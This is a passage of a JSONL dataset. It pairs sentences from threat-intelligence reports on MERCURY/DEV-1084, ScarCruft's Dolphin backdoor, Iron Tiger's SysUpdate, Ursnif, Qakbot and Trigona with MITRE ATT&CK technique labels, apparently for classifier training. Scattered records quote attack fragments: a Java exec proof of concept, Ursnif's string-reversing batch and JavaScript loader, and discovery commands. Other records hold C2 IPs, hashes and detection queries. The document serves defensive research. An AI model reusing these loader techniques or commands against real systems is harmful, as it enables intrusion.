environment"} {"sentence": "MERCURY has also been observed using Rport and a similar version of Ligolo in previous attacks.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "It is not currently clear if DEV-1084 operates independently of MERCURY and works with other Iranian actors or if DEV-1084 is an ‘effects based’ sub-team of MERCURY that only surfaces when MERCURY operators are instructed to carry out a destructive attack.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Installing web shells Adding a local user account and elevating privileges to local administrator Installing legitimate remote access tools, such as RPort, Ligolo and eHorus Installing a customized PowerShell script backdoor Stealing credentials Once the persistence is established, the threat actors perform extensive discovery leveraging common native Windows tools and commands such as netstat and nltest.", "labels": ["T1016", "T1219"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "For execution and communication, the threat actors leverage several C2 servers and sometimes deploy tunnelling tools, such as Ligolo and OpenSSH, commonly leveraged to stay under the radar of security teams and solutions.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "On-premises destructive impact In observed activity, the threat actors leveraged highly privileged credentials and access to domain controllers on on-premises destructive operations to prepare for large-scale encryption of targeted devices.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "To do so, they first interfered with security tools using Group Policy Objects (GPO).", "labels": ["T1484.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "On-premises attack flow Moving from on-premises to cloud To move from on-premises to the cloud, the threat actors had to first compromise two privileged accounts and leverage them to manipulate the Azure Active Directory (Azure AD) Connect agent.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The account name is prefixed with MSOL_", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The account is created with a long complex password as well, and by default (if using the express settings) prefixed with Sync_[ServerName].", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In older versions, this account might be assigned with the Global Administrator role.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Next, they set up an SSH tunnel to an attacker-controlled device.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Adding access permission to the existing application With the obtained cloud administrator privileges, the threat actors updated the OAuth application with certificates to conduct malicious activities.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "These newly added credentials could then be used to issue access tokens and authenticate on behalf of the application to access cloud resources.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Customers running Intune can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Further steps and recommendation to manage, design, and secure your Azure AD environment can be found by referring to Azure Identity Management and access control security best practices.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Turn on cloud-delivered protection to cover rapidly evolving attacker tools and techniques.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "V HackTool:Win32/LSADump VirTool:Win32/RemoteExec Trojan:PowerShell/Downloader.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "SA Ransom:Win64/DarkBit VirTool:Win32/AtExecCommand Microsoft Defender for Endpoint Microsoft Defender for Endpoint alerts with the following titles can indicate possible presence of the indicators of compromise listed below.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detecting Log4j 2 exploitation Alerts that indicate threat activity related to the exploitation of the Log4j 2 exploitation should be immediately investigated and remediated.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detecting post-exploitation activity Alerts with the following titles may indicate post-exploitation threat activity related to MERCURY activity described in this blog and should be immediately investigated and remediated.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "NewValue == \"True\" | project ConsentTimestamp =Timestamp, UserId, AccountObjectId, ReportId, ActionType | join kind = leftouter (CloudAppEvents | where Application == \"Office 365\" | where ActionType == \"Add app role assignment to service principal.\"", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "ModifiedProperties | extend OuthAppName = tostring(FullAccessPermission[6].NewValue)", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In by AAD Connect Sync Account Malicious web application requests linked with Microsoft Defender for Endpoint Web Shell Activity Tracking Privileged Account Rare Activity Mass Cloud resource deletions Time Series Anomaly Consent to Application discovery OAuth Application Required Resource Access Update Rare application consent Credential added after admin consented to ApplicationNew access credential added to Application or Service Principal Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "IndicatorTypeDescription9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ffDEV-1084 ransom payload8thCurse.exe80bd00c0f6d5e39b542ee6e9b67b1eef97b2dbc6ec6cae87bf5148f1cf18c260DEV-1084 batch script8dd9773c24703e803903e7a5faa088c2df9a4b509549e768f29276ef86ef96aeDEV-1084 batch script486eb80171c086f4d184423ed7e79303ad7276834e5e5529b199f8ae5fc661f2DEV-1084 batch scriptf1edff0fb16a64ac5a2ce64579d0d76920c37a0fd183d4c19219ca990f50effcDEV-1084 batch script887ae654d69ac5ccb8835e565a449d7716d6c4747dc2fbff1f59f11723244202DEV-1084 batch script3fba459d589cd513d2478fb4ae7c4efd6aa09e62bc3ff249a19f9a233e922061DEV-1084 batch script0dde13e3cd2dcda522eeb565b6374c97b3ed4aa6b8ed9ff9b6224ea97bf2a584DEV-1084 batch scriptafd16b9ad57eb9c26c8ae347c379c8e2b82361c7bdff5b189659674d5614854cDEV-1084 batch script3e59d36faf2d5e6edf1d881e2043a46055c63b7c68cc08d44cc7fc1b364157ebDEV-1084 batch script786bd97172ec0cef88f6ea08e3cb482fd15cf28ab22d37792e3a86fa3c27c975DEV-1084 batch script36c71ce7cd38733eb66f32a8c56acd635680197f01585c5a2a846cc3cb0a8fe2DEV-1084 batch script016967de76382c674b3a1cb912eb85ff642b2ebfe4e107fc576065f172c6ef80DEV-1084 batch script3059844c102595172bb7f644c9a70d77a198a11f1e84539792408b1f19954e18DEV-1084 batch script194.61.121[.]86Command and controlhxxps://pairing[.]rport[.]io/qMLc2WxDownload Rport software from it141.95.22[.]153Command and control193.200[.]16.3Command and control192.52.166[.]191Command and control45.56.162[.]111Command and control104.194.222[.]219Command and control192.169.6[.]88Command and control192.52.167[.]209Command and controlwebstore4tech[.]uaenorth.cloudapp.azure[.]comCommand and controlvatacloud[.]comActor-owned Rport domain146.70.106[.]89DEV-1084 operators were observed sending threatening emails to the victim after the attack from 146.70.106[.]89, an IP address previously linked to MERCURYb9cf785b81778e2b805752c7b839737416e3af54f64f1e40e008142e382df0c4Rport Legit remote access toolrport.exeab179112caadaf138241c43c4a4dccc2e3c67aeb96a151e432cfbafa18a4b436Customized Ligolo tunneling tool46.249.35[.]243Command and control45.86.230[.]20Command and control6485a68ba1d335d16a1d158976e0cbfad7ab15b51de00c381d240e8b0c479f77db.ps1 Customized Script Backdoorb155c5b3a8f4c89ba74c5c5c03d029e4202510d0cbb5e152995ab91e6809bcd7db.sqlite Customized Obfuscated Script Backdoor NOTE:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "TLDs from Google brought some discussion about attack vectors.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "A jar full of zippers, symbol picture The Chain Windows Explorer The location bar in the Windows Explorer is also a Search Bar and can be used to find and open files.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "=anonymous the Windows Explorer will not spawn a new browser but will map the folder directly.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "One example for this is the .jar filetype, meaning it is possible to execute Java code if the user has a JRE installed, which is quite often the case in business environment.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "There are some quite old, but still promising approaches like How to Inject Shellcode from Java.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "InputStreamReader; public class HelloWorld { public static void main(String[] args) { // Ausgabe Hello World!", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "System.out.println(\"Hello World!\"); String command = \"calc.exe\"; try { Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) !", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "The calc.exe is a custom binary, not the Windows calc.exe.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Hello Hans, your client is missing an update.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "We already copied the zip file to your client.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "Opening a WebDAV folder will also start the WebDAV service, which is quite famous to use for some ActiveDirectory privilege escalation with relaying to LDAP (RBCD).", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "LSASS Dump A side effect of the WebDAV is, that the Defender is not going to delete files correctly on that shared folder.", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "This will still trigger an alarm, so absolutely not OPSEC!", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"} {"sentence": "In this blogpost, we provide a technical analysis of the Dolphin backdoor and explain its connection to previously documented ScarCruft activity.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "We will present our findings about this new addition to ScarCruft’s toolset at the AVAR 2022 conference.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The backdoor was used as the final payload of a multistage attack in early 2021, involving a watering-hole attack on a South Korean online newspaper, an Internet Explorer exploit, and another ScarCruft backdoor, named BLUELIGHT.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Since the initial discovery of Dolphin in April 2021, ESET researchers have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The attack consisted of multiple components, including an Internet Explorer exploit and shellcode leading to a backdoor named BLUELIGHT, reported by Volexity and Kaspersky.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Figure 1 provides an overview of the attack components leading to the execution of the Dolphin backdoor.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Overview of the attack components leading to the execution of the Dolphin backdoor Dolphin analysis Analysis of Dolphin’s components and their capabilities is provided in the following section.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Dolphin installer Ensuing sections describe the installer and loader components responsible for the execution of the Dolphin backdoor in the analyzed attack scenario.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "It is worth noting that this installer and the deployed loader are not exclusive to Dolphin, and were previously seen used with other ScarCruft malware.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "To generate Step 1 of Loader, it uses a script template that is filled with randomly generated names (variables, function).", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The script is then written to .", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Step 2 (embedded in the installer) containing the rest of the loading chain, including the payload, is encrypted with a one-byte XOR key derived from the current time and written to .", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Step 1, the Python script, reads a specified file, XOR-decrypts its contents, and executes the resulting shellcode.", "labels": ["T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "We named the backdoor Dolphin based on a PDB path found in the executable: D:\\Development\\BACKDOOR\\Dolphin\\x64\\Release\\Dolphin.pdb Persistence The backdoor periodically checks and creates its own persistence by making sure that Step 1 of the loader is run every time the system is started, via a registry Run value, in the same way as in the installer: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\”%appdata%\\Python27({32|64})\\pythonw.exe” “” “” Capabilities The following basic information about the computer and the backdoor is collected: Current backdoor configuration Username Computer name Local and external IP address List of installed security products RAM size and usage Result of check for debugger and other inspection tools (such as Wireshark) OS version Current time Malware version Dolphin downloads commands, issued by its operators, from Google Drive storage and executes them.", "labels": ["T1016", "T1033", "T1082", "T1518.001", "T1547.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Most of Dolphin’s capabilities are controlled through commands.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The most relevant capabilities are described below.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The command to get specific files was improved, by caching/storing it in the configuration until completion.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The defaults are chrome and internet explore (sic).", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Screenshots and keylogging are enabled by default, and can be toggled via a command.", "labels": ["T1056.001", "T1113"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Accessing their victims’ inboxes with a third-party client via IMAP probably helps ScarCruft operators maintain access to the victims’ emails after stealing credentials, which may not be enough on their own, due to Google’s detection of suspicious login attempts.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "The content is encrypted using AES CBC with random 16-byte keys and IVs, which are stored at the file’s beginning.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Dolphin backdoor configuration The configuration can be modified through commands.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "Dynamic resolution of suspicious APIs instead of static imports (for example GetAsyncKeyState) added Shellcode capability finished and improved Persisted shellcode stored in files instead of registry Persisted shellcode loaded and executed on Dolphin startup (previously missing) Portable device file exfiltration capability finished and improved Exfiltration by extensions added Recognition of internal memory and SD cards (from device ID) added Command to get files from portable devices effectively a NOP Device/drive detection and file exfiltration improved Dolphin now unconditionally creates directory listings and exfiltrates files by extension every 30 minutes for all drives and devices (fixed drives, removable drives, portable devices).", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "MSDolphin backdoor version 1.9 (x64) 5B70453AB58824A65ED0B6175C903AA022A87D6AN/AWin32/Spy.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "APIDolphin uses Windows API functions to execute files and inject processes.", "labels": ["T1055", "T1106"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1027Obfuscated Files or InformationDolphin has encrypted components.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1560.002Archive Collected Data: Archive via LibraryUsing the Zipper library, Dolphin compresses and encrypts collected data before exfiltration.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "T1074.001Data Staged: Local Data StagingDolphin stages collected data in a directory before exfiltration.", "labels": ["T1074.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"} {"sentence": "As with the previous version, Iron Tiger had made the loading logic complex, probably in an attempt to evade security solutions.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This new version has similar features to the 2021 version, except that the C++ run-time type information (RTTI) classes we previously observed in 2021 had been removed, and that the code structure was changed to use the ASIO C++ asynchronous library.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Loading process We observed the loading process entailing the following steps: The attacker runs rc.exe, a legitimate “Microsoft Resource Compiler” signed file , which is vulnerable to a DLL side-loading vulnerability, and loads a file named rc.dll.", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Depending on the number of command line parameters, different actions are performed: Zero or two parameters: “Installs” the malware in the system, and calls Stage 1 again via process hollowing with four parameters One parameter: Same as previous action but without the “installation” Four parameters: Creates a memory section with the DES-encrypted malware configuration and a second Shikata Ga Nai shellcode decompressing and loading Stage 2.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Updated SysUpdate loading process routine We saw different legitimate executables being used, sideloading different DLL names, and multiple binary files names being loaded by those DLLs.", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Wazuh is a free and open source security platform, and we could confirm that one of the victims was using the legitimate Wazuh platform.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "C&C communication through DNS TXT requests.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, the code related to this DNS C&C communication is only present in samples that use it, meaning that the builder is modular and that there might be samples in the wild with unreported features.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Collected machine information includes the following: Randomly generated GUID Hostname Domain name Username User privileges Processor architecture Current process ID Operating system version Current file path Local IP address and port used to send the network packet The configuration is encrypted with a hardcoded DES key and is a few bytes long following the structure enumerated below: Table 2.", "labels": ["T1016", "T1033", "T1057", "T1082", "T1573.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The ELF samples were also written in C++, made use of the Asio library, shared common network encryption keys, and had many similar features.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Parameters passed to the binary as observed from Linux SysUpdate samples Parameter Effect -launch Sets persistence, zeroes boolean, and exits -run Zeroes boolean and continues -x Daemonize the process, zeroes boolean, and continues -i Daemonize the process, zeroes boolean, sets persistence, and continues -f Sets the GUID to and continues The persistence is ensured by copying a script similarly named as the current filename to the /usr/lib/systemd/system/ directory, and creating a symlink to this file in the /etc/ystem/system/multi-user.target.wants/ directory.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Thus, this method only works if the current process has root privileges.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "The content of the script is:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Looking for that name in search engines brings results from the official VMProtect website.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "As of this writing, the certificate is now revoked.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "However, the legitimate files are signed with a “Xinda.im” certificate instead of the stolen VMProtect certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "However, we found traces of files from the legitimate Youdu chat application signed by Xinda.im being copied to folders named “i Talk” on one victim’s computer.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This would be consistent with the tactics, techniques, and procedures (TTPs) of two previous Iron Tiger campaigns from 2020 and 2021: a documented compromise of a chat application widely used by the Mongolian government, and a supply chain attack on Mimi chat, a chat application used in parts of South East Asia.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Post-exploitation tools We found a custom Chrome password and cookie grabber that appeared unfamiliar, and it was compiled and uploaded in September 2022.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Interestingly, the threat actor registered a domain name similar to the company name and used it as a C&C.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "It is worth mentioning that the customers mentioned in the Youdu official website are all located inside China, which could be an indicator of the threat actor’s interest in targets related to this country.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "This campaign also substantiates the regular usage of chat applications as infection vectors from Iron Tiger.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"} {"sentence": "Approximately 4 days after the initial infection, new activity on the host provided a clear distinction of a threat actor performing manual actions (hands on keyboard).", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Shortly afterwards, the threat actor injected into various processes and then proceeded to access lsass memory on the host to extract credentials.", "labels": ["T1003.001", "T1055"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "These files were transferred to the domain controller over SMB.", "labels": ["T1570"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "After connecting to the Cobalt Strike beacon on the domain controller, the threat actor executed another round of discovery tasks and dumped lsass memory on the domain controller.", "labels": ["T1003.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Finally, they dropped a script named adcomp.bat which executed a PowerShell command to collect data on computers in the Windows domain.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "One host of interest was one of the backup servers, which was logged into, the state of backups were checked and running processes were reviewed before exiting the session.", "labels": ["T1057"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The DFIR Report has previously reported on several incidents that involved the tactic of delivering malicious flies using ISO files: As we have previously highlighted, the Event Log Microsoft-Windows-VHDMP-Operational.evtx contains high confidence evidence when users mount ISO files.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "We recommend looking for these events (especially Event ID’s 1, 12 & 25) in your environment and checking for anomalies.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Once mounted, the new drive contained a LNK file 6570872.lnk and hidden folder “me”.", "labels": ["T1564.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Summary of the files found in 3488164.iso (a detailed break down of these can be found in Execution): File Name Purpose 6570872.lnk LNK file that executes alsoOne.bat me/by Empty folder me/here Empty folder me/123.com Renamed legitimate version of rundll32.exe me/alsoOne.bat Batch script to run canWell.js with specific arguments me/canWell.js Reverses argument strings and executes tslt.db with 123.com me/itslt.db Ursnif DLL or.jpg Image not used.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "This script called a JavaScript file canWell.js in the same directory and provided a number of strings as arguments. alsoOne.bat set %params%=hello me\\canWell.js hello cexe lldnur revreSretsigeRllD canWell.js /** WhnldGh */ function reverseString(str) { var splitString = str.split(\"\"); var reverseArray = splitString.reverse(); var joinArray = reverseArray.join(\"\"); return joinArray; } function ar(id) { r = WScript.Arguments(id); return r; } var sh = WScript.CreateObject(\"WScript.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The content of the value “ActiveDevice”: The payload used another ActiveX object to run a PowerShell command.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "This command created additional aliases of common default PowerShell aliases gp (Get-ItemProperty) and iex (Invoke-Expression).", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Shell');Ahgvof.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "@\"C:\\Users\\\\AppData\\Local\\Temp\\npfdesjp\\npfdesjp.cmdline\" Finally, a unique command spawned from the parent explorer.exe process that was called pause.exe with multiple arguments, which appeared to not provide any additional functionality.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The GrantedAccess code of 0x1010 is a known indicator of such tools as Mimikatz.", "labels": ["T1003.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "GrantedAccess: 0x1010 CallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+9fc24|C:\\Windows\\System32\\KERNELBASE.dll+20d0e|UNKNOWN(000002AA74CFD95C) Discovery Ursnif related discovery As we have observed in other malware, Ursnif ran a number of automated discovery commands to gain information about the environment.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "\"wmic computersystem get domain |more >", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "C:\\Users\\\\AppData\\Local\\Temp\\BD2C.bin1\" cmd /C", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "\"tasklist.exe /SVC >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "This account belonged to the Domain Admin group.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The actor leveraged Impacket’s wmiexec.py to execute commands with a semi-interactive shell, most likely using credentials gathered by the previous LSASS access.", "labels": ["T1003.001", "T1047", "T1083"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The Impacket process hierarchy in this case can be visualized as: At the network level, commands are issued by DCOM/RPC port 135, with responses by SMB using port 445.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "13Cubed (Richard Davis) also released an amazing resource to investigate Impacket related incidents here: https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf One of the observed commands invoked via WMI was ‘firefox.exe’.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The process generated a significant volume of network connections to 193.201.9[.]199, averaging ~6K requests per hour, equating to >150K connections throughout the duration of the intrusion.", "labels": ["T1021.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Cobalt Strike The following Cobalt Strike C2 server was observed: 193.201.9.199:443 JA3:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The user agent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)’, an unusual browser configuration to masquerade as, which indicates use of Internet Explorer 8.0 (that was released ~2009).", "labels": ["T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "The example HTTP stream containing the content The file that was uploaded 775E.bin was deleted by the injected ‘Explorer.exe’ process from the target endpoint in folder ‘\\Users\\\\AppData\\Local\\Temp’", "labels": ["T1027", "T1071.001"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V2 During that time, the threat actor undertook a number of hands-on keyboard actions; this included reviewing backups in a backup console, checking on running tasks, and using notepad to paste in the following content.", "labels": ["T1057"], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Text Document.txt Sysmon Copy Paste Collection EID 24: user: DOMAIN\\USER ip: 127.0.0.1 hostname: WIN-RRRU9REOK18 Indicators Atomic RDP Client Name: WIN-RRRU9REOK18 Ursnif Domains: denterdrigx.com superliner.top internetlines.in superstarts.top superlinez.top internetlined.com Ursnif IPs: 62.173.149.7 31.41.44.97 5.42.199.83 31.41.44.27 208.91.197.91 187.190.48.135 210.92.250.133 189.143.170.233 201.103.222.246 151.251.24.5 190.147.189.122 115.88.24.202 211.40.39.251 187.195.146.2 186.182.55.44 222.232.238.243 211.119.84.111", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts The DFIR Report"} {"sentence": "Qakbot was one such threat group and made up the majority of our observations of malicious OneNote files during this period.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "The Zip contains an ISO image file.", "labels": ["T1204.002"], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "OneNote quickly gained traction and was adopted by several threat groups (including Qakbot) in January and early February 2023.", "labels": [], "doc_title": "Qakbot Returns to ISO Delivery For Now"} {"sentence": "By analyzing Trigona ransomware binaries and ransom notes obtained from VirusTotal, as well as information from Unit 42 incident response, we determined that Trigona was very active during December 2022, with at least 15 potential victims being compromised.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Keys found in CurrentVersion\\Run contain references to programs that will execute when a user logs in.", "labels": ["T1547.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We have also seen farusbig@tutanota[.]com used as the contact email in other Trigona ransom notes.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Leak Site Analysis When Trigona was first observed, there was no evidence of this group using a leak site for double extortion.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Mailthink is a service that allows users to create temporary, disposable email addresses.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Given the following features, the Unit 42 team believes with moderate confidence that the surface web leak page was a development environment to test out features before a possible move to the dark web: Several posts appear to be duplicates from the BlackCat leak site (as shown in Figure 4)", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Several of the countdown timers are considerably longer", "labels": 